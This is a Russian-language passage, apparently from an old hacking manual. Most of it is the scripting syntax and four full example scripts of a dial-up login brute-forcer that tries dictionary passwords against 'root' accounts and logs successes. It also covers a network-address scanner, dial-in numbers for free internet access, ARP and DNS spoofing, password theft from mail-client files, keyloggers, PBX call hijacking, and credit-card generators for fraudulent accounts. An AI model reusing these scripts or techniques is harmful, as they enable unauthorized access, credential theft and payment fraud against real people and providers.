регистрации   определяется   символом  $   (доллара),   поставленным   перед
соответствующей  переменной,  и  пробелами. Вы  можете использовать  #DEFINE
любые специфические переменные. Вам их нужно только определить.
     <B>STRING</B>
     Символы пересылаются из модема в последнюю строку.
     <B>STRING2</B>
     Последние 250 символов отправляются из модема.
     <B>DIAL_TRIED</B>
     Фактические попытки набора номера.
     <B>LOGIN_TRIED</B>
     Фактические попытки получить имя и пароль.
     <B>TIME</B>
     Действительное  время  в  часах  и  минутах  (двоеточие  пропускается).
Например, TIME=1505 означает 15:05.
     <B>DATE</B>
     Текущая дата в формате MMDD. Например, DATE=503 означает 3 мая.
     <B>DIC(1)</B>
     Текущий загруженный словарь 1.
     <B>BRUTE(2)</B>
     Текущая строка словаря Brute Force Generator 2.
     <B>S_TMP</B>
     Переменная строка. Вы можете ее использовать, как вам нравится.
     <B>D_TMP</B>
     Переменная для цифр. Вы можете ее использовать, как вам нравится.
     В командах IF и  SET вы можете использовать исключительно вышеописанные
переменные. Переменные из #DEFINE исключаются. Только статические переменные
и  константы  приемлемы для  IF!  Не нужно также использовать  знак  $ перед
переменной. Этот знак допустим только в командах SEND, LOG и WAIT4STRING.
     Например:
     IF TIME>1215 THEN GOTO #END
     (отсоединиться после 12:15).
     LOG($DIC(3))
     <B>SEND($S_TMP)</B>
     Теперь   относительно   спецсимволов.   Вы   можете  записывать   любые
управляющие символы вместе с командами LOG, SEND или WAIT4STRING  через знак
^  (шапочка). Это  означает, что вы можете ввести, например, ^M или написать
^^ ... окей?, или использовать любые конструкции от ^A до ^Z плюс ^[ ^\ ^] и
^^.
     Например:
     SEND_(^D)
     #DEFINE
     <определения>
     #NOCARRIER
     <некоторые команды>
     #START
     <ваш алгоритм>
     #END
     <b>Сообщения об ошибках</b>
     Если  в  процессе  компиляции  вы  получаете  сообщение  об ошибке,  то
помните, что  в  вашем  распоряжении имеется файл <name>.BAK. Просмотрите  и
внимательно изучите содержимое этого файла.
     При  компилировании  скрипта  может  всплыть  только  два сообщения  об
ошибке:
     <B>WARNING</B>
     Вы  что-то  не так скомпилировали. Компилятор  в  любом случае  создаст
скрипт,  который  может  запуститься  без  всяких  проблем.  Это  сообщение,
например,  может  быть  выдано,  если  невозможно  найти указанный  словарь.
Возможно, что вы не полностью подготовили копию.
     <B>ERROR</B>
     Это   критическая  ошибка.   В   какой-то  момент  компилятор   прервал
необходимую процедуру завершения. Для исправления этой ошибки проверьте файл
с расширением .BAK и ваш исходный файл.
     <b>Пример стандартного скрипта</b>
     #DEFINE
     PHONE_NR=,
     LOGFILE=lh&scave.log
     DIC(1)=d:\project\hack\word\badpws.dic
     ; задайте корректный путь к вашему словарю
     #NOCARRIER
     IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
     LOG(Carrier lost on $DATE at $TIME)
     LOG()
     GOTO(#START)
     #START
     SET S_TMP=UNDEFINE
     ;SET S_TMP=DEFINE
     HANGUP
     LOG_SESSION_ON
     SET STRING2=
     IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)
     IF S_TMP=UNDEFINE THEN SEND(AT H1)
     EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)
     :111
     SEND(ATD)
     SET D_TMP=0
     :112
     WAIT(1)
     INC(D_TMP)
     IF D_TMP>50 THEN GOTO(99)
     CHECK4CARRIER(112)
     SEND()
     ; послать возврат каретки после соединения
     :1
     WAIT(1)
     IF STRING2~assw THEN GOTO(2)
     GOTO(1)
     :2
     SEND_NEXT_DIC(1)
     WAIT(2)
     IF STRING2~ncorr THEN GOTO(3)
     GOTO(50)
     :3
     SET STRING2=
     :4
     WAIT(1)
     IF STRING2~assw THEN GOTO(5)
     GOTO(4)
     :5
     SEND_NEXT_DIC(1)
     WAIT(2)
     IF STRING2~ncorr THEN GOTO(6)
     GOTO(50)
     :6
     SET STRING2=
     :7
     WAIT(1)
     IF STRING2~assw THEN GOTO(8)
     GOTO(7)
     :8
     SEND_NEXT_DIC(1)
     WAIT4STRING(10,,1,GOTO(50),ncorr)
     GOTO(99)
     :50
     BEEP
     BEEP
     BEEP
     LOG(------------- -----------------)---- -------------------)
     LOG($DATE $TIME)
     LOG()
     LOG(PASSWORD: $DIC(1))
     LOG()
     GOTO(150)
     :99
     CHECK4CARRIER(OFF)
     IF S_TMP=UNDEFINE THEN GOTO(#START)
     EXECUTE(scavenge.exe /s rebreak.scr)
     ; создание скрипта для перенабора номера и дозвона до цели
     GOTO(111)
     :150
     IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
     GOTO(#END)
     #END
     <b>Первый пример скрипта</b>
     Системный дескриптор: UNIX на F.
     Но вы никогда не должны это делать.
     #DEFINE
     LOGFILE=C:\OUTPUT\NY-SYS5.LOG
     PHONE_NR=I dont tell you ;)
     DIAL_TRIES=3
     LOGIN_TRIES=0
     DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC
     #NOCARRIER
     BEEP
     BEEP
     BEEP
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $DIC(1))
     LOG()
     GOTO(#START)
     #START
     LOG(------------------------- -----)---- -------------------)
     LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
     LOG()
     :1
     LOG(Dialing ...)
     DIAL
     LOG($STRING)
     LOG_SESSION_ON
     SEND()
     SEND()
     WAIT4STRING(15,^M,4,GOTO(1),name)
     SEND( )
     LOG_SESSION_OFF
     :2
     SEND(CONNECT HACK.THIS.SYSTEM.EDU)
     :3
     WAIT4STRING(30,^C,1,GOTO(2),ogin:)
     SEND(root)
     WAIT4STRING(20,^D,1,GOTO(2),assword:)
     SEND_NEXT_DIC(1)
     IF STRING~ogin: THEN GOTO(3)
     IF STRING~refused THEN GOTO(2)
     LOG()
     LOG($STRING)
     LOG()
     LOG(!!!!! WE GOT THROUGH !!!!!!)
     LOG(Login : root)
     LOG(Password : $DIC(1))
     LOG()
     BEEP
     BEEP
     BEEP
     BEEP
     BEEP
     HANGUP
     GOTO(#END)
     #END
     <b>Второй пример скрипта</b>
     #DEFINE
     INIT_MODEM=AT&N15
     INIT_DATA=7E1
     LOGFILE=C:\OUTPUT\TELEKOM4.LOG
     PHONE_NR=I dont tell you ;)
     DIAL_TRIES=3
     LOGIN_TRIES=0
     BRUTE(1)=1,1,1,12
     #NOCARRIER
     BEEP
     BEEP
     BEEP
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $BRUTE(1))
     LOG()
     GOTO(#START)
     #START
     LOG(-----------------------------------)---- ---------------)
     LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
     LOG()
     :1
     LOG(Dialing ...)
     HANGUP
     DIAL
     LOG($STRING)
     WAIT4STRING(15,^M,4,GOTO(1),PA)
     :2
     SEND_NEXT_BRUTE(1)
     WAIT4STRING(3,^M,2,GOTO(3),PA)
     GOTO(2)
     :3
     LOG_SESSION_ON
     SEND()
     SEND(?)
     SEND(HELP)
     SEND(HILFE)
     LOG()
     LOG(!!!!! WE GOT THROUGH !!!!!!)
     LOG(Password : $BRUTE(1))
     LOG()
     BEEP
     BEEP
     BEEP
     BEEP
     BEEP
     HANGUP
     GOTO(#END)
     #END
     <b>Третий пример скрипта</b>
     Этот скрипт может быть использован на некоторых небесплатных телефонных
линиях 0130-xxxxxx.
     ; Система требует пароль
     ; Неограниченное количество попыток позволяет войти в систему
     ;
     ; 30xCrLf
     ; PASSCODE:*****
     ;
     #DEFINE
     INIT_MODEM=AT &F L2
     INIT_DATA=8N1
     LOGFILE=xxxxxx.LOG
     PHONE_NR=0130xxxxxx
     DIAL_TRIES=5
     LOGIN_TRIES=0
     DIC(1)=C:\2\thc-lh09\w1.w
     #NOCARRIER
     BEEP
     BEEP
     BEEP
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $DIC(1))
     LOG()
     GOTO(#START)
     #START
     LOG(------------------- ---------)---- -------------)
     LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
     LOG()
     :1
     LOG(Dialing ...)
     HANGUP
     DIAL
     LOG($STRING)
     WAIT4STRING(30,.^M,3,GOTO(1),PASS)
     :2
     set string=
     SEND_NEXT_DIC(1)
     wait(1)
     LOG($DIC(1))
     ; да, регистрироваться с каждой попытки!
     WAIT4STRING(15,.^M,3,GOTO(3),PASS)
     GOTO(2)
     :3
     LOG_SESSION_ON
     SEND()
     SEND(?)
     SEND(HELP)
     SEND()
     LOG()
     LOG(!!!!! WE GOT THROUGH !!!!!!)
     LOG(Password : $DIC(1))
     LOG()
     BEEP
     BEEP
     BEEP
     BEEP
     BEEP
     HANGUP
     GOTO(#END)
     #END
     <b>Четвертый пример скрипта</b>
     Это скрипт предназначен исключительно для платформ Telnet.
     #DEFINE
     init_modem=z
     init_data=8n1
     LOGFILE=xxxxxx.log
     PHONE_NR=xxxxxx
     DIAL_TRIES=0
     LOGIN_TRIES=0
     DIC(1)=D:\hackusr\dictbig.txt
     ;dic(2)=d:\hackusr\bigdict2.txt
     ;dic(3)=d:\hackusr\bigdict3.txt
     #NOCARRIER
     LOG(NO CARRIER)
     LOG(ON $DATE $TIME)
     LOG(AT $DIC(1))
     LOG(returning ...)
     GOTO(#START)
     #START
     HANGUP
     LOG_SESSION_ON
     LOG()
     log()
     log( HaCK ATTeMPT STaRTeD ......)
     log()
     log( TaRGeT: $PHONE_NR )
     log( DaTe: $DATE )
     log( TiMe: $TIME)
     log()
     log()
     log( ......DiaLiNG)
     dial
     log()
     log( ......CoNNeCTeD!)
     log()
     log()
     wait(5)
     :1
     wait4string(1,^M,5,goto(#start),sername>)
     send(fh65)
     :2
     wait4string(1,^M,5,goto(#start),ocal>)
     send(connect 189.25.56.7)
     :3
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait4string(1,^C,5,goto(4),ogin:)
     send(root)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :4
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait4string(1,^D,5,goto(4),assword:)
     send_next_dic(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :5
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :6
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     wait(1)
     if string~sconnected then goto(2)
     if string~ncorrect then goto(3)
     :7
     beep
     beep
     beep
     beep
     beep
     beep
     beep
     beep
     beep
     log()
     log()
     log()
     Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)
     log()
     log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME)
     log()
     log()
     log()
     log( ACCouNT: root)
     log( PaSSWoRD: DIC(1))
     log()
     log()
     log()
     #END
     <b>Сканирование адресов пользователей</b>
     Операции по сканированию сетевых  адресов мы разберем на основе  весьма
известной программы Network User Address Attacker. Эта программа  известного
сообщества P/H/A.  NUA  Attacker  написан на  Turbo  C  2.0 хакером Доктором
Диссектором.  Network  User  Address  Attacker  сканирует  клавишную  панель
SprintNet. При этом программа способна  распознать ошибки кодов на SprintNet
и  других  типах  соединений.  Каждый  отсканированный сетевой  адрес  может
зарегистрироваться  под  logfile с  описанием возвращенного кода ошибки  или
краткой   суммой   данных  главной   системы.   Таким   образом,   программа
дозванивается  до Net и  сканирует  сетевые  адреса пользователей.  Диапазон
сканирования задается  атакующим.  Кроме  этого, в  прилагаемом к  программе
файле SND390.TXT  имеется список некоторых  модемных  телефонных номеров. Вы
можете, конечно, использовать только известный вам номер, то есть тот номер,
который наиболее близко соответствует вашему региону.
     Эта  программа   может  быть  наиболее  полезной  при  поиске  сетей  с
коммутирующими  пакетами или на основе UNIX.  Автор этой программы надеется,
что любые  ошибки,  найденные в ней, будут  переданы  через сообщество P/H/A
хакерам Доктору Диссектору, Темному Шлему, Корейцу Подавителю или Анонимному
Анархисту.
     <b>Файлы программы
     NUAA.EXE</b>
     Программа NUA Attacker.
     <B>NUAA.DOC</B>
     Документация
     <B>README.PHA</B>
     Прочтите это сначала!
     <B>SND390.TXT</B>
     Список телефонных номеров Net.
     <B>NUAA.CFG</B>
     Отчет о текущей атаке и конфигурации модема.
     <B>NUAFILE.PHA</B>
     Список сетевых адресов пользователей.
     <B>LOGFILE.PHA</B>
     Список  сетевых адресов пользователей,  составленных атакующим.  В этом
файле также содержатся коды ответа NUA, полученные атакующим.
     Файлы  NUAfile  и  Logfile могут модифицироваться.  Файлы NUAFILE.PHA и
LOGFILE.PHA -- это обыкновенные текстовые файлы,  вы можете редактировать их
в любом  текстовом редакторе. Кроме того, если файл уже существует, то любые
данные  добавятся к  тому имени файла, которые существуют в  файле  с меткой
EOF.
     <b>Запуск программы</b>
     Для запуска NUA Attacker введите с вашей консоли следующее:
     C:\ >NUAA [/I]
     Параметр /I позволяет вам начать выполнение программы без инициализации
модема перед сканированием адресов. В этом случае, когда вы выберите команду
Begin attack (Начать  нападение),  NUA  Attacker  сразу  начнет сканирование
адресов  (если вы предварительно зарегистрировались в системе,  то теперь вы
снова должны зарегистрироваться на Net через приглашение @).
     <b>Настройка режима сканирования</b>
     Настройка  сканирования  адресов  осуществляется  через  команду  Setup
attack. В появившемся диалоговом окне выполните настройку следующих опций.
     <b>Phone Number</b>
     Телефонный номер Net (SND390.TXT).
     <b>Starting NUA</b>
     Начальный сетевой адрес пользователя.
     <b>Ending NUA</b>
     Конечный сетевой адрес пользователя.
     <b>Timeout</b>
     Время ожидания ответа от сетевого адреса пользователя.
     <b>Log filename</b>
     Имя файла, в который будут выводится сообщения об ошибках и  информация
о неудачных попытках соединения.
     <b>NUA filename</b>
     Имя файла, в  который будут выводится  сетевые адреса пользователей (по
умолчанию это файл NUAFILE.PHA).
     <b>Decimals</b>
     Включить или отключить режим десятичного сканирования.
     Пользователи  Net используют  сетевые  адреса в формате  XXXXXX.XX. NUA
Attacker поддерживает сканирование десятичных чисел.
     Например, если вы настроите эту опцию так:
     Starting NUA: 619100.10
     Ending NUA: 619200.10
     то   программа   начнет   сканирование  с  619100.10,  следующий  адрес
сканирования соответствует 619100.11, затем пойдет 619100.12 и так далее.
     При   настройке   сканирования  вы  можете  воспользоваться  следующими
горячими клавишами:
     <B>ESC</B>
     Выйти из диалогового окна Setup attack  без сохранения модифицированных
параметров.
     <B>LT-S</B>
     Сохранить модифицированные параметры в память компьютера.
     После того,  как вы  выполните настройку  сканирования, вы можете также
сохранить ее на  диск  выбрав из меню File команду  Save options.  При  этом
сохранятся и все модифицированные параметры настроек модема.
     <b>Несколько слов по поводу формата сетевого адреса</b>
     Допустим, что вы произвели настройку так:
     Starting NUA: 6191 *WRONG*
     Ending NUA: 619100 *RIGHT*
     Это означает,  что сканирование  проходит в диапазоне с 6191  по 6199 с
пропуском 6200. Поэтому вы должны настроить параметры сканирования так:
     Starting NUA: 619001 *RIGHT*
     Ending NUA: 619100 *RIGHT*
     То есть, оба числовых поля должны иметь одинаковую длину.
     <b>Настройка модема</b>
     Настройка модема осуществляется через диалоговое окно Modem parameters.
     <b>COM Port</b>
     Порт, который использует ваш модем.
     <b>Baud Rate</b>
     Скорость передачи данных в бодах
     (например, 9600).
     <b>Initialization</b>
     Инициализация терминальной строки перед началом сканирования. Эта опция
также поддерживает Hayes-совместимые модемы.
     <b>Dial Prefix</b>
     Префикс перед телефонным номером.
     <b>Dial Suffix</b>
     Символ, который  будет стоять  после  телефонного  номера.  Этот символ
прошивает ваш модем соответствующим параметром.
     <b>Hangup</b>
     Прервать последовательность передаваемых данных.
     <b>Процесс сканирования</b>
     Выберите опцию Begin attack. После этого произойдет следующее:
     1. Инициализация модема.
     2. Набор номера Net. Этот номер соответствует настройкам, произведенным
в диалоговом окне Setup attack.
     3. Ожидание приглашения TERMINAL= и загрузка параметра  D1. Параметр D1
означает, что ваш компьютер вошел в сеть.
     4. Ожидание приглашения @.
     5.  Сканирование.  Сканирование  соответствует  параметру  Starting NUA
диалогового окна Setup attack.
     После того, как сканирование  сетевых адресов закончится, NUA  Attacker
выйдет из сети.
     В процессе  сканирования вы можете воспользоваться следующими  горячими
клавишами:
     <B>ALT-B</B>
     Передать в Net сигнал, соответствующий прерыванию соединения.
     <B>ALT-H</B>
     Повесить  трубку.  В  этом случае  программа  начнет  работать в режиме
Pause.
     <B>ALT-X</B>
     Повесить трубку, выйти и прекратить атаку.
     <B>ESC</B>
     Временно остановить процесс сканирования.
     В  процессе  нападения  на  экране  вашего  монитора  будут  появляться
следующие сообщения:
     <b>Starting NUA</b>
     Сетевой адрес, который программа начинает сканировать.
     <b>Ending NUA</b>
     Отсканированный сетевой адрес.
     <b>Connections</b>
     Количество соединений, найденное в текущем сканировании.
     <b>Current NUA</b>
     Сетевой адрес, который программа отсканировала в данный момент времени.
     <b>Log</b>
     Logfile.
     <B>NUA</B>
     NUAfile.
     <b>Time/Elapsed</b>
     Текущее время и время сканирования.
     <b>Status</b>
     Код соединения и/или соответствующая информация о состоянии модема.
     <b>Last</b>
     Код последнего  соединения и/или соответствующая информация о состоянии
модема.
     В диалоговом окне Setup attack обратите внимание на переключатель в Bad
Pad.  Если выбрана  опция  Y, это  означает, что программа  посылает  в сеть
строку  10 <SPACE><CR> и  каждый раз  ждет две секунды до  тех  пор, пока не
появится  приглашение  @  или  TERMINAL=.  (то  есть,  до   непосредственной
регистрации на Net). Некоторые  клавиатуры медленно реагируют на регистрацию
в сети.  Особенно это  относится  к  высоким скоростям.  Поэтому, если вы не
можете зарегистрироваться, активизируйте параметр Y.
     <b>Кредитные карточки и Internet</b>
     Пересылая  номер  кредитной  карточки  через Internet,  он  попадает  к
продавцу,  который производит так называемую авторизацию (происходит связь с
организацией,   ответственной   за   обработку   транзакций).    В    случае
положительного  ответа  на  запрос,  необходимая сумма денег  резервируется,
заказанный  товар  отправляется   покупателю,  затем   деньги  снимаются  со
специального банковского счета и перечисляются на счет продавца.
     Понятно,  что  если  авторизация не будет  осуществлена немедленно,  то
покупатель  может  обмануть  продавца  путем  нескольких  заказов  подряд  у
сторонних продавцов.
     Проблема  немедленной  авторизации в  Internet  пока  еще полностью  не
решена (многие фирмы используют обыкновенный модем для  связи с процессором,
каждый из которых, имеет, как правило, разный формат сообщений).
     В настоящее время  кредитные карточки и Internet тесно связаны с фирмой
CyberCash    (http://www.cybercash.com).   CyberCash   через   Public    Key
Cryptography  шифрует всю конфиденциальную информацию,  касающуюся кредитной
карточки,  связь  с  процессорами  осуществляется с  помощью так называемого
центрального интерфейса CyberCash Gateway, покупатель инсталлирует  на  свой
компьютер программу CyberCash Wallet, которая  в  зашифрованном  виде хранит
номер   кредитной  карточки,   продавец   осуществляет   свою   деятельность
посредством платежного сервера и стандартных скриптов CGI.
     <b>CompuServe и бесплатный Internet</b>
     Через CompuServ можно получить  доступ к Internet. Для этого необходимо
инсталлировать Compuserve, запустить Membership Sign-Up, в разделе Страна не
указывать  Россию, получить временный пароль и логин и дозвониться к Infonet
по  одному  из следующих  московских телефонов: 9150001,  9150005,  9715101,
9150033.
     <b>PlusCentro и бесплатный Internet</b>
     На  серевере  PlusCentro   через  http://www.plus.centro.ru  существует
гостевой вход. На  самом деле это вполне функциональный доступ  к  Internet.
Необходимо только дозвониться по одному  из  следующих московских телефонов:
4901595, 4909419, 4909363, 4909371, 4909491.
     Подробности можно узнать по этому голосовому телефону: 4909424.
     <b>Demos и бесплатный Internet</b>
     Компания Demos позволяет использовать демонстрационный вход в Internet.
Для  этого  необходимо   дозвониться  по   одному  из  следующих  московских
телефонов:  9613200,  2410505, 9566285,  9566286. В поле Login нужно вписать
_demo, а в поле Password набивается пароль в виде demo.
     <b>Защита системы? Всегда!</b>
     Так  называемый  класс  защищенности  А  был  определен  в  свое  время
Министерством обороны  США в  знаменитой  "Orange  book". Сейчас многие сети
базируются  на  неоднородных  программно-аппаратных  системах  и  используют
слишком  разные  сетевые  сервисы. Так  возникают  вполне определенные  дыры
практически на всех уровнях работы сети, включая верификацию пользователей.
     Самая   простая  защита  сети  может  осуществляться  на  уровне  самой
операционной системы, база которой, собственно, и есть сеть (аутентификация,
авторизация, разграничение доступа, мониторинг, аудит).
     Впрочем,  неправильная  конфигурация  такой  системы  тут  же оставляет
огромную брешь в защите сети.
     Более  сложная  защита  сети  уже  зависит  от профессионалов,  которые
обслуживают  сеть и осуществляют поиск и  исправление ошибок  в операционной
системе  или  корректирование  некоторых  сетевых  установок   по  умолчанию
посредством так называемого сканера безопасности системы.
     <b>Ложные DNS-запросы в Internet</b>
     В любом конкретном случае обмен датаграммами в Internet  осуществляется
между   двумя   удаленными  хостами   посредством  заголовка  пакета  и  так
называемого поля данных.  Заголовок -- это, прежде всего, идентификация, а в
поле данных входит некоторый  пакет высокого уровня. В частном случае, любой
IP-пакет  входит  в  состав протокола  транспортного  уровня  TCP.  С другой
стороны, пакет IP является протоколом канального уровня локальной сети, т.е.
межсетевым  протоколом,  который  позволяет  передавать датаграммы  в  сеть.
Встает  вопрос  об  адресации  передаваемых  данных. Для  этого используется
32-разряднный  адрес того  же  протокола  IP.  Казалось  бы,  что достаточно
указать  в  заголовке IP  в стандартном  поле  Destination Address адрес  IP
атакуемого  узла.  Но  это  не так.  Любой  пакет IP  уже содержится  внутри
аппартного пакета локальной сети, т.е. любая атака  на  хост невозможна  без
аппаратной  адресации пересылаемых  датаграмм.  Это означает,  что в простом
случае (адресация  только в  одной подсети)  для атаки на хост, как минимум,
необходимо   знать   его   адрес   локальной   сети   (Ethernet-адрес)   или
соответствующий  адрес  маршрутизатора. В  этом случае, перед  любым хакером
встает проблема удаленного поиска информации относительно адресов  локальной
сети.
     Пусть  на атакуемом узле имеется  некоторый  алгоритм удаленного поиска
данных.  Тогда хакер  выбирает сегмент сети, используя дырявый протокол ARP,
(пусть даже таблица ARP в установках атакуемой опреционной системы настроена
весьма корректно) посылает запрос  Ethernet  на  атакуемый адрес и  получает
необходимое соответствие между адресами IP  и адресами локальной сети. Нужно
сказать, что  этот  запрос  является  широковещательным и  в нем указывается
адрес маршрутизатора, являющийся адресом по умолчанию атакуемой операционной
системы. Маршрутизатор, у которого  всегда имеется список ARP с  информацией
(все  данные  вносятся  посредством того же  ARP-протокола) об адресе  IP  и
адресе локальной сети, получает запрос, тут же вносит соответствующую запись
о хосте хакера в  список  ARP и благополучно отправляет хакеру искомый адрес
локальной сети. Это только начало. Теперь хакер перехватывает  вышеназванный
ARP-запрос и посылает в сеть  ложный ARP-ответ, который, по сути, и является
ничем иным, как  хостом!  А  это уже  означает, что  хакер  вполне  спокойно
контролирует сетевой трафик атакуемого хоста.
     Итак,  хакер  присваивает  атакуемому сегменту  сети  ложный  IP-адрес,
входит  в  сеть, набивает "ту  самую" команду, устанавливает  в операционной
системе свой адрес IP, посылает  уже в свою сеть широковещательный запрос, а
тупой маршрутизатор безукоризненно  обновляет  в своем списке  адреса  таким
образом, что  любые сетевые  пакеты начинают  автоматически направляться  на
аппаратный адрес локальной сети хакера.
     Только два  субъекта знают о том, кто  получил широковещательный запрос
ARP. Ими являются хакер  и  глупый маршрутизатор, на который приходит пакет,
непосредственно  направленный на беззащитный ( пусть даже стоит  занаменитый
FireFall-1 фирмы Check Point Software Technologies) адрес атакуемого узла. И
в самом  деле,  хост-жертва,  ничего не подозревая (согласно  установкам  по
умолчанию сетевой операционной системы) благополучно передает  датаграммы на
хакерский  узел  ARP,  который, в  свою  очередь,  отсылает  принятый  пакет
сетевому  маршрутизатору, а тот,  понятно, дождавшись ответа, отсылает любую
информацию  уже не через обманутый  хост ARP,  а на  атакуемый узел. Так как
полный перехват  пакетов между ложным  сервером и  узлом хакера  проходит  в
промежуточной стадии, то  возникает так называемая петлевая  схема перехвата
информации.  Полный  перехват  возможен лишь  в том случае,  когда хакерский
сервер ARP  работает по так называемой  мостовой схеме  перехвата,  согласно
которой  в  качестве  хакерского  запроса  ARP указывается  любой  незанятый
(proxy-сервер) IP-адрес атакуемой сети.
     Плавно  переходим   к   DNS-серверам.  Последние  используют   в  своих
обращениях к удаленным узлам 32-битные адреса IP, мнемонически заключенные в
четырехразрядную  буквенную комбинацию, понятную каждому ламмеру. Любой хост
может получить соответствующий DNS у ближайшего  информационного сервера DNS
по известной  системе Domain Name Server через  сетевой протокол DNS. Просто
хост  посылает запрос на известный IP-адрес DNS-сервера  свой IP-адрес и имя
сервера. Сервер  DNS штудирует собственную базу  данных, находит IP-адрес  и
отправляет на хост соответствующий ответ DNS. Схема весьма примитивная. Если
же сервер DNS не находит искомую буквенную комбинацию, то он отсылает запрос
на  так  называемый  корневой  сервер,  который,  в  свою  очередь,  сверяет
информацию с файлом настроек root.cache. Так происходит до тех пор, пока имя
хоста не будет найдено в Internet.
     Вариант первый. Атакуемая сеть ожидает некоторый
     DNS-запрос. Хакер сидит в  сегменте сети  (т.е. он знает  все параметры
ISSa/ISSb)  или  находится  на пути  сетевого удаленного  траффика  (обычное
примение ftp-команд get, put или ls). Вначале хакер извлекает из DNS-запроса
номер  отправителя порта UDP. Узнав, таким образом, имя сети, хакер посылает
пакет DNS  на захваченный UDP-порт и уже в этом пакете осуществляет подмену,
и  в конечном счете полностью перехватывает траффик между собой  и удаленным
сервером.
     Вариант второй. Хакер, маскируясь под настоящий
     DNS-сервер и используя известную дырку (ограниченность идентифицируемых
пакетов)  протокола UDP,  напрямую  пересылает на  атакуемый узел  не ложный
запрос  DNS, а, напротив,  ложный  DNS-ответ. Атакуемый  сервер спокойненько
принимает IP-адрес  и,  если  он  не  совпадает  с  IP-адресом  DNS-сервера,
DNS-ответ не идентичен  DNS-запросу,  DNS-ответ  попал в порт DNS-запроса (в
крайнем случае хакер просто начинает перебирать 1023 взможных портов UDP) и,
если поле идентификатора запроса идентично полю данных  DNS-ответа, то хакер
проникает в сеть путем внедрения фиктивного DNS-ответа в атакуемый хост.
     <b>Филипп Циммерманн и его скандально известное детище Pretty Good Privacy</b>
     Речь  идет  о  самом  мощном  инструменте  криптографической  защиты --
алгоритме шифровки PGP, механизм обработки ключей которой продуман настолько
тщательно, что взлом возможен лишь  через  лобовую  атаку. Кроме  этого  PGP
весьма  популярен  и  бесплатно  распространяется  через  Internet.  Сегодня
алгоритм  шифровки  PGP  --  не признанный  некоторыми  официальными кругами
стандарт электронной переписки.
     PGP -  программа,  работающая по  так  называемой  схеме  публичного  и
секретного ключей.  Публичный ключ  могут  узнать все. Секретный  --  только
конечный пользователь PGP. Новое сообщение расшифровывается только через PGP
с помощью второго секретного ключа, т.е. сообщение зашифровывается публичным
ключом, отправляется и затем читается с использованием секретного ключа.
     PGP 5.0 для Windows 95 или Macintosh можно легко скачать с  популярного
сервера MIT.
     <b>Взлом Internet</b>
     Под  термином взлом Internet  подpазумевают  несколько pазличных вещей.
Во-пеpвых: незаконное подключение  к пpовайдеpу и так называемые  "халявные"
подключения.  Как  это осуществляется? Самый  пpостой ваpиант --  воровство.
Хакер крадет чужой  паpоль. В наше вpемя  пpи огpомном количестве  недалеких
пользователей  хакеру  это дело  не  пpедставляет  особого  тpуда,  так  как
подавляющее большинство пользователей  пользуется  таким популяpным  пакетом
e-mail как UUPC Чеpнова. А также некотоpые пpовайдеpы все  еще пpедоставляют
вход в  систему как online так и offline под  одним и тем же паpолем. Хакеру
остается самое  пpостое --  пеpеписать файл init aka init1 с каталога \UUPC.
Там будет пpописан как login так и password.
     Более сложные ваpианты взлома Internet -- запуск на машине пользователя
виpусной программы или pезидентной, отслеживающей появление стpочки "ogin:".
Далее в отдельный файл записываются все нажатия клавиатуры.
     Если  пользователь  использует   Windows  95  и  pаботает  в  Netscape,
используя SLIP и PPP, то хакер обpащает внимание на скpипты команд  и файл с
pасшиpением .pwl (паpоль зашифpованный пpимитивным методом DES).
     Если  на  машину  пользователя отсутствует доступ,  к  pешению пpоблемы
хакер   подходит  дpугим  путем.  Большая  часть  соединений  пpиходится  на
телефонные линии.  Практически в  любом крупном офисе  той или иной компании
имеется небольшая АТС. Для хакера пеpепpогpаммиpовать АТС  так чтобы, звонки
с данного номеpа пеpеpоучивались на себя, не составляет особого труда. Далее
запускается теpминальная пpогpамма BBS с  заставкой пpовайдеpа. Естественно,
пользователь  покупается и вводит  login и  password.  Далее выдается  масса
ошибок, а затем линия разрывается.
     <b>Взлом Internet 2</b>
     Оказывается,   что   в   Москве  существует   два  необычных   сервера,
пpедоставляющие  доступ  в  Internet,  причем,  кроме  обыкновенных  юзеров,
услугами этих серверов пользуются хакеры, фрикеры и другой подобный народ.
     Речь идет о CompuServe и America-On-Line.
     CompuServe  считается самой легкой системой, т.е. легко ломающейся. Для
этого хакер  находит  дистрибутивные дискеты  с программным обеспечением для
доступа к  CompuServe  и  софт типа CreditWizard или Credit  Master Comfake,
затем дозванивается до Scitor по телефону 9563589 и  спокойно входит в сеть.
Scitor,  как  говорят  хакеры,  хорош  тем,  что  доступ  к  ресурсам   сети
предоставляется через сгенерированный выше описанным  способом эккаунт, в то
время как SprintNet высылает информацию  о  логине и пароле  пользователя на
адрес электронной почты.
     В  Москве  сеть  America-On-Line  доступна  через  SprintNet  (9280985,
9286344 или 5789119).
     Непонятно, о чем и чем думают системные администраторы этих серверов.
     <b>Интеллектуальный взломщик Internet</b>
